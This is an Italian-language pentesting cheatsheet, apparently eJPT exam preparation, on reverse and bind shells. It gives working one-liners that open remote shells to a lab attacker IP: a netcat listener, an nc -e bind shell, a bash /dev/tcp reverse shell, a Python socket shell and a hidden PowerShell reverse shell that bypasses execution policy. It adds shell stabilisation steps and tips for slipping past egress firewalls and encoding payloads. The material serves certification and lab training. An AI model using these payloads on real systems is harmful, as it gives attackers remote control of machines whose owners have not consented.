← Tutti i cheatsheet

eJPT · Exploitation & Post-Ex

Reverse e Bind Shell

Difficoltà: Beginner-Intermediate Time to Master: 1.5h Prerequisiti: 01-Manual-Exploitation-Searchsploit.md Lab: INE PTS labs / TryHackMe, Ice


Obiettivo

Il momento in cui un servizio vulnerabile ti dà finalmente esecuzione di comandi è anche il momento in cui ti serve un piano per trasformarla in una shell vera e propria: qui trovi la differenza tra reverse e bind shell, i one-liner da avere a memoria per ogni linguaggio disponibile sul target, e — passaggio che la prima volta sorprende sempre — come stabilizzare una shell “grezza” in qualcosa di realmente utilizzabile.


Concetti chiave

Reverse vs Bind shell

Tipo Chi si connette a chi Quando usarla
Reverse shell il target si connette all’attaccante caso più comune: bypassa firewall in ingresso sul target
Bind shell l’attaccante si connette al target utile se il target non può raggiungere l’attaccante (NAT/firewall restrittivo in uscita)

Perché una shell “grezza” non basta

La prima reverse shell netcat che ottieni sembra già una vittoria, poi provi a lanciare vim o premi Ctrl+C per interrompere qualcosa e la shell muore in faccia: niente TTY completo, niente tab-completion, niente editor interattivi. Non è un bug, è come funziona una shell non stabilizzata — e va sempre stabilizzata prima di lavorarci sul serio.


Strumenti

Tool Comando base Output Note
netcat (listener) nc -lvnp 4444 listener in attesa di connessione -n evita risoluzione DNS, più veloce
netcat (bind, target) nc -lvnp 4444 -e /bin/bash shell in bind mode -e non sempre presente in tutte le build di nc
revshells.com / PayloadsAllTheThings riferimento payload one-liner pronti per ogni linguaggio genera automaticamente con IP/porta inseriti
rlwrap rlwrap nc -lvnp 4444 listener con history/frecce comodo per uso prolungato

Payload / Esempi

Esempio 1: listener sull’attaccante

nc -lvnp 4444

Output atteso:

listening on [any] 4444 ...

Spiegazione: il listener resta in attesa; va avviato PRIMA di eseguire il payload sul target.

Esempio 2: reverse shell bash (target Linux)

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Spiegazione: funziona solo se bash e compilato con supporto /dev/tcp (quasi sempre su Linux moderno). Redirige stdin/stdout/stderr verso una connessione TCP.

Esempio 3: reverse shell Python (target con Python installato)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Spiegazione: apre un socket verso l’attaccante e duplica i file descriptor standard sul socket, poi spawna bash tramite pty per una shell già semi-interattiva.

Esempio 4: reverse shell PowerShell (target Windows)

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

Spiegazione: one-liner PowerShell classico (formato “Nishang-style”), utile quando si ha esecuzione comandi su Windows senza binari aggiuntivi disponibili.

Esempio 5: stabilizzare una shell netcat grezza

python3 -c 'import pty; pty.spawn("/bin/bash")'
# poi, nella shell locale non ancora in background:
export TERM=xterm
# Ctrl+Z per mettere in background, poi:
stty raw -echo; fg
# premi invio due volte dopo il fg

Output atteso:

www-data@target:/var/www/html$

Spiegazione: pty.spawn alloca uno pseudo-terminale reale; stty raw -echo sul terminale locale disabilita l’echo locale e passa il controllo dei segnali al terminale remoto, ottenendo una shell con frecce, Ctrl+C sicuro e tab-completion.


Evasion / Bypass Techniques

  • Cambiare porta del listener se il firewall in uscita filtra le porte alte non comuni (prova 443/53/80 che spesso sono permesse in uscita)
  • Codificare il payload PowerShell in base64 (-EncodedCommand) per evitare problemi di escaping caratteri speciali nella shell target

Lab Hands-On

Lab 1: TryHackMe, Ice

Obiettivo: ottenere una reverse shell su un target Windows tramite servizio vulnerabile e stabilizzarla Difficulty: Media Time: 1.5h

Walkthrough breve:

  1. Enumera il servizio vulnerabile ed ottieni esecuzione comandi
  2. Genera un payload reverse shell adatto al sistema operativo target
  3. Avvia il listener PRIMA di eseguire il payload
  4. Verifica la shell ricevuta e stabilizzala se Linux

Common Mistakes

  • Avviare il payload prima del listener -> la connessione fallisce silenziosamente
  • Dimenticare di cambiare IP/porta nel payload copiato da un cheatsheet -> nessuna connessione in arrivo
  • Non stabilizzare la shell -> difficoltà con editor/comandi interattivi durante il resto dell’engagement


Connessioni


Checklist di padronanza

  • So la differenza tra reverse e bind shell a memoria
  • Conosco almeno 3 one-liner reverse shell per linguaggi diversi
  • So stabilizzare una shell Linux con python pty + stty raw
  • So generare un payload reverse shell PowerShell per Windows